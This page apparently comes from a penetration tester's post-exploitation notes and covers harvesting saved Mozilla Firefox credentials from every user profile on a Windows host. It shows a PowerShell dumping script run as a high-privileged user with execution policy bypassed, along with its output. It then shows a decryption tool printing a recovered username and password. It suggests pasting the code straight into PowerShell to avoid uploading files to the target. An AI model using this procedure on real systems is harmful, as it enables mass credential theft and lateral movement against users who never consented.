> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/post-exploit/saved-credentials/windows-mozilla-firefox.md).

# Windows - Mozilla Firefox

When trying to gather additional credentials from lets say an Administrator Jump Host, extracting sensitive Mozilla Firefox files is a great approach. Doing this manually is boring and time consuming, especially if there are hundreds of users under <mark style="color:yellow;">`C:\Users`</mark>.&#x20;

To simplify this I've made a simple PowerShell script, [<mark style="color:yellow;">`firefox_dump.ps1`</mark>](https://github.com/0xPThree/Windows-Harvesting), that gathers all sensitive Mozilla Firefox information which can later be decrypted using [<mark style="color:yellow;">`firefox_decrypt.py`</mark>](https://github.com/unode/firefox_decrypt) or similar.

The script should be ran as a <mark style="color:red;">**high privileged user**</mark> to gather as much information as possible.

### Example Usage

```powershell
PS E:\devop-scripts> powershell.exe -ExecutionPolicy Bypass .\firefox_dump.ps1
[-] 'Public' doesn't have any saved passwords in Mozilla Firefox
[+] Dumping secrets from 'user' to: C:\Users\void\AppData\Local\Temp\user\firefox\ahf32hh2.default-release
[+] Dumping secrets from 'user2' to: C:\Users\void\AppData\Local\Temp\user2\firefox\plhh3lmm.default-release
[-] 'user3' doesn't have any saved passwords in Mozilla Firefox
[+] Dumping secrets from 'void' to: C:\Users\void\AppData\Local\Temp\void\firefox\plmxz1zm.default-release
```

If you don't want to upload files to the target host it's possible to simply copy-paste the try-catch code from the script and run it as is in PowerShell.

```bash
┌──(void㉿void)-[/opt/firefox_decrypt]
└─$ ./firefox_decrypt.py /tmp/firefox-loot/user1            

Website:   http://localhost:8000
Username: 'dev-user'
Password: 'D3velopm3ntM@st3rK3y*!'
```

***

{% embed url="<https://github.com/0xPThree/Windows-Harvesting>" %}

{% embed url="<https://github.com/unode/firefox_decrypt>" %}